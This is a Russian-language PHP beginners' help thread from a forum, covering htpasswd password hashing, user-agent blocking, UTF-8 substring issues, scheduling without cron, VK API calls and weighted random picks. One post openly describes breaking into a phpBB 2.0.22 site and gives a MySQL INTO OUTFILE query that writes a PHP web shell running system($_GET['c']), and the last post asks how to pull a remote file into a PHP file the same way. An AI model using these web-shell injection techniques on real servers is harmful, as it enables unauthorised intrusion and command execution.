[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Дикс

    Дикс Elder - Старейшина

    Joined:
    16 Apr 2006
    Messages:
    1,194
    Likes Received:
    227
    Reputations:
    26
    PHP:
    <?php

    if($_POST)
    {
        
    $text trim($_POST['pass']);
        
    $pass crypt($textbase64_encode($text));

        
    file_put_contents('./.htpasswd'trim($_POST['login']).':'$pass);

        
    $access '<Files .htpasswd>
       deny from all
    </Files>

    AuthType Basic
    AuthName "Restricted Area"
    AuthUserFile ' 
    .getcwd(). '/.htpasswd
    Require valid-user'
    ;

        
    file_put_contents('./.htaccess'$access);

        echo 
    '<b>done.</b> <br /><br />';

    }

    ?><form method='post'>
    login: <input type='text' name='login' /><br />
    pass: <input type='text' name='pass' /><br />
    <input type='submit' value='create pass' /></form>
    бесполезно
    если сгенерить пароль онлайн-генератором - всё работает, следовательно .htaccess правильный
    ещё работает если вообще не кодировать пароль - но это только для винды
     
  2. Tesson

    Tesson Banned

    Joined:
    27 Dec 2009
    Messages:
    164
    Likes Received:
    43
    Reputations:
    0
    Как сделать чтоб в сайт нельзя было входит через браузер Internet Explorer вовсе версии?
     
    #15802 Tesson, 9 Jul 2010
    Last edited: 9 Jul 2010
  3. Qb1024

    Qb1024 New Member

    Joined:
    15 Jul 2009
    Messages:
    323
    Likes Received:
    4
    Reputations:
    0
    Это проще сделать через css
     
  4. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    290
    Reputations:
    195
    PHP:
    <?php

    if ( strstr($_SERVER['HTTP_USER_AGENT'], 'MSIE') )
    {
    echo 
    'Доступ закрыт';
    }
    else
    {
    //Контент
    }
    ?>
    Либо закрыть через .htaccess
     
    1 person likes this.
  5. azsx

    azsx New Member

    Joined:
    12 Sep 2009
    Messages:
    48
    Likes Received:
    2
    Reputations:
    0
    Меняется кодировка при использовании сложения строк функциями substr и mb_substr. Как это исправить? Вот исходный код:
    PHP:
    <html><head>
    <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
    </head>
    <body>

    <?php
    $dan 
    fopen('s.txt''r');
    $line fgets($dan);
    echo 
    "верно отображает $line";
    $line1 mb_substr($line019) & mb_substr($line3040);
    echo 
    "не верно отображает $line1";
    ?>
    </body></html>
    текстовой файл s.txt
    PHP:
    ляляляляля ляляляляля ляляляляля ляляляляля ляляляляля ляляляляля ляляляляля ляляляляля ляляляляля 
    И файл и программа в утф-8, однако кодировка меняется при использовании сложения &. То есть переменная $line1 становится совсем другой кодировкой (вычислить какой я не смог).
     
  6. Patronik

    Patronik Member

    Joined:
    16 Mar 2009
    Messages:
    111
    Likes Received:
    12
    Reputations:
    0
    PHP:
    echo  mb_internal_encoding(); // Ето внутренея кодировка
    mb_internal_encoding('UTF-8'); // Ето смена внутреней кодировки
    Елементарно Ватсон
     
    #15806 Patronik, 10 Jul 2010
    Last edited: 10 Jul 2010
    1 person likes this.
  7. azsx

    azsx New Member

    Joined:
    12 Sep 2009
    Messages:
    48
    Likes Received:
    2
    Reputations:
    0
    Patronik - способ который вы указали (то есть я добавил строку mb_internal_encoding('UTF-8'); после оператора <?php) не сработал.
    Зато я узнал, что есть такая библиотека как mb_string. У меня дебиан на локал хосте в php.ini нет строки mb_string и нет файлов в системе php_mbstring.dll. В сети я нашел очень много описаний как доставить эту библиотеку на денвер, но как поставить ее в дебиане - я не понимаю. Может, если библиотеку установить, то проблема будет решена. Только вот ошибок, на то что библиотека сейчас не установлена - php мне не выдает. У меня PHP Version 5.2.6-1+lenny8. Как установить библиотеку mb_string?
    ps
    я разместил файл программы и текстовой файл для скачивания http://narod.ru/disk/22624343000/s.zip.html
    может так будет понятней кому нибудь.
     
    #15807 azsx, 11 Jul 2010
    Last edited: 11 Jul 2010
  8. Дикс

    Дикс Elder - Старейшина

    Joined:
    16 Apr 2006
    Messages:
    1,194
    Likes Received:
    227
    Reputations:
    26
    народ, помогите правильно создать пароль для htpasswd средствами php

    вот пример, но пароль получается невалидный:
    PHP:
    <?php 

    if($_POST

        
    $text trim($_POST['pass']); 
        
    $pass crypt($textbase64_encode($text)); 

        
    file_put_contents('./.htpasswd'trim($_POST['login']).':'$pass); 

        
    $access '<Files .htpasswd> 
       deny from all 
    </Files> 

    AuthType Basic 
    AuthName "Restricted Area" 
    AuthUserFile ' 
    .getcwd(). '/.htpasswd 
    Require valid-user'


        
    file_put_contents('./.htaccess'$access); 

        echo 
    '<b>done.</b> <br /><br />'



    ?><form method='post'> 
    login: <input type='text' name='login' /><br /> 
    pass: <input type='text' name='pass' /><br /> 
    <input type='submit' value='create pass' /></form>
     
  9. Stalingrad

    Stalingrad Elder - Старейшина

    Joined:
    17 Mar 2006
    Messages:
    49
    Likes Received:
    4
    Reputations:
    0
    Вопрос о выводе в файл

    Привет, ломаю Phpbb 2.0.22 , пытался залить шелл но ничего не вышло,поскольку на удаленном компе xampp,то file_priv = Y (кароче mysql под root). Я пытаюсь загрузить файл temp.sql через восстановление базы данных,и тем самым зайдя на файл cmd.php спровоцировать создание файла 123.php с мини-шеллом.Это работает (тестил команды типа dir,net user...) ,
    тока вот намудрил здесь с кавыками,прошу помощи так как не знаю как вывести это добро в файл.

    SELECT '<?php echo "<?php system($_GET['c']);?>" > 123.php ;?>' FROM phpbb_users LIMIT 1 INTO OUTFILE 'C:\\xampp\\htdocs\\cmd.php';
     
  10. shellz[21h]

    shellz[21h] Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    311
    Likes Received:
    68
    Reputations:
    6
    PHP:
    <?php
    # Если не ошибаюсь, то при создание пароля для .htpasswd, нужно использовать 2 первых символа в качестве соли.
    $password 'passwd';
    $hash crypt($passwordsubstr($password02));
    ?>

     
  11. programming

    programming New Member

    Joined:
    26 Aug 2009
    Messages:
    190
    Likes Received:
    3
    Reputations:
    0
    Как мне кажется задача нереальна, но всё же задам.
    Нужно раз в полчаса или час запускать один скрипт, но как это сделать не знаю.
    Крона нет, использование функции set_time_limit(0); запрещено(соответственно скрипт нельзя запустить на вечный цикл), на сайт никакие юзеры не ходят. Есть доступ к БД.
    Выдерживать именно нужный интервал между запусками необязательно, но всё же хотелось бы реализовать запуск скрипта хотя бы раз в 1-2 часа.
     
  12. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    programming сервисы типа http://cronjob.ru/ или любой собственный сервер с кроном
     
    _________________________
  13. Winst0n

    Winst0n Elder - Старейшина

    Joined:
    19 Aug 2008
    Messages:
    92
    Likes Received:
    5
    Reputations:
    0
    PHP:
    $uid $_GET[viewer_id];
    $api_id =  api_id_тут;
    $method "secure.getBalance";
    $random rand(10000,99999);
    $timestamp time();
    $v "2.0";
    $api_secret "api_secret_тут";

    $sig=md5("api_id=".$api_id."method=".$method."random=".$random."timestamp=".$timestamp."v=".$v.$api_secret);

    print 
    file_get_contents("http://api.vkontakte.ru/api.php?api_id=".$api_id."&uid=".$uid."&v=".$v."&method=".$method."&timestamp=".$timestamp."&random=".$random."&sig=".$sig);
    выдает

    изменяю на
    $method = "secure.getAppBalance";
    убираю из запроса &uid=".$uid." и показывает то что надо...
    что не так ? второй день мозг .....
     
  14. DoN

    DoN Member

    Joined:
    26 May 2010
    Messages:
    39
    Likes Received:
    20
    Reputations:
    0
    Вконтакте не принимает запрос.
    Используй курл, сделай полную имитацию человека
     
  15. Winst0n

    Winst0n Elder - Старейшина

    Joined:
    19 Aug 2008
    Messages:
    92
    Likes Received:
    5
    Reputations:
    0
    это вк api(для разработки приложений), зачем имитировать человека ?!О_о
     
  16. Byrger

    Byrger Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    521
    Likes Received:
    26
    Reputations:
    -4
    Есть массив типа

    PHP:
    $arr = array(
     
    0=>array('id'=>3'price'=>2),
     
    1=>array('id'=>6'price'=>1),
    ......
    );
    Как сделать рандомайзер который на выгоже будет выдавать индекс массва 0,1,2,3,4...(из примера)
    Но так чтобы приоритет был у тех у кого price больше, но и самые мелки совсем не оставлять... :confused:
     
  17. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    Можно выбрать решение в лоб: добавить к массиву ещё один параметр "индекс", в котором и будут записаны значения 0,1,2... А потом просто отсортировать массив и выводить этот параметр) либо второй массив с параметром "индекс" и отсортировать его по цене в первом массиве
     
  18. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Byrger переформулируйте задание. Вам нужно случайное ('рандомайзер') или выбранное ('чтобы приоритет был') значение?
     
    _________________________
  19. Byrger

    Byrger Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    521
    Likes Received:
    26
    Reputations:
    -4
    Нужен случайный выбор с приоритетом по цене...
    Тоесть чтоб те у кого price больше, выдавались чаще
     
  20. Hi4kok

    Hi4kok New Member

    Joined:
    12 Jan 2010
    Messages:
    21
    Likes Received:
    1
    Reputations:
    0
    Как можно выполнить подобное?

    <?php file_get_contents('http://url/1.txt') into outfile /temp/1.php; ?>
     
Thread Status:
Not open for further replies.